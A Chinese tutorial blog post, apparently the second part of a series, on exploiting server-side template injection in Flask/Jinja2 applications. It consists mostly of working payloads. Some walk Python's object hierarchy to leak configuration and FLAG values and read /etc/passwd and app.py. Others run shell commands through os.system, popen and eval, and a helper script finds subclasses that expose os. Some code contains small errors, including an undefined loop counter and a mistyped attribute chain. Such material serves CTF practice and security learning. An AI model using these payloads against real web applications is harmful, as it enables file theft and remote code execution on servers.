【SSTI模块注入】SSTI+Flask+Python(中):漏洞利用

目录

一、利用思路

二、针对性利用

2.1、获取基础信息:

config:

self:

""、[]、()

更多

2.2、获取基类

2.3、读写文件

第一步:

第二步:

第三步:

第四步:

2.4、命令执行:

第一步:

第二步:

三、示例:

3.1、payload

第一个{%  %}

第二个{%  %}

第三个{%  %}


一、利用思路

1、获取内置类所对应的类

__class__

2、获得object基类

__bases__

3、获取子类列表

__subclasses__()

4、在子类中寻找可利用的类(函数)



二、针对性利用

2.1、获取基础信息:

config:

{{config}}:可以获取当前设置


self:

{{self}} ⇒ <TemplateReference None>

{{self.__dict__._TemplateReference__context.config}}


""、[]、()

配合__class__.__mro__[2]这样找到object类

{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}


更多

url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等

如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)

{{url_for.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

2.2、获取基类

''.__class__.__mro__[2]        #python2.7

''.__.class__.__mro__[1]        #python3.7

{}.__class__.__bases__[0]

().__class__.__bases__[0]

[].__class__.__bases__[0]

request.__class__.__mro__[1]

2.3、读写文件

第一步:

''.__class__

<class 'str'>#获取''字符串的所属对象


第二步:

''.__class__.__mro__

(<class 'str'>, <class 'object'>)#获取str类的父类


第三步:

''.__class__.__mro__[1].__subclasses__()

<……>#获取object类的所有子类


第四步:

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()

读是read(),写是write()

类中寻找类,用数组下标获取,然执行类中函数(第41个类是file类)


''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    

读文件read() 可改为 写文件write() 


python3没有file

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}

2.4、命令执行:

第一步:

通过脚本找到包含os模块的类

n = 0
for i in 'str'.__class__.__mro__[1].__subclasses__():
#str处根据自己实际填
    try:
         if 'os' in i.__init__.__globals__:
             print (num,i)
         num+=1
    except:
        print ('-')
        num+=1

输出了编号为n的类


第二步:

构造paylad

''.__class__.__mro__[1].__subclasses__()[n].__init__.__globals__['os'].system('ls')#列出本级目录

''.__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #读取本级目录


下面如果有os类,直接执行命令

[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()


下面如果有eval,__import__等全局函数,进行执行命令

[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

————————————————————
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")

————————————————————
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

————————————————————
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()



三、示例:

3.1、payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}


第一个{%  %}

[].__class__#返回的是[]的类型list为列表

list.__base__#返回list的一个父类为object是所有类的基类所有类都是继承自object

object.__subclasses__()#返回object的所有子类所有继承自object的类


第二个{%  %}

循环遍历类寻找catch_warnings这个类进入该类


第三个{%  %}

c.__init__#表示c类中的init这个内置方法

__init__.__globals__['__builtins__']#返回init这个方法可以使用的类、方法、以及属性当中的__builtins__

__builtins__#表示内建方法因为这里所使用的open是一个内建方法利用open打开源码调用read读取

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值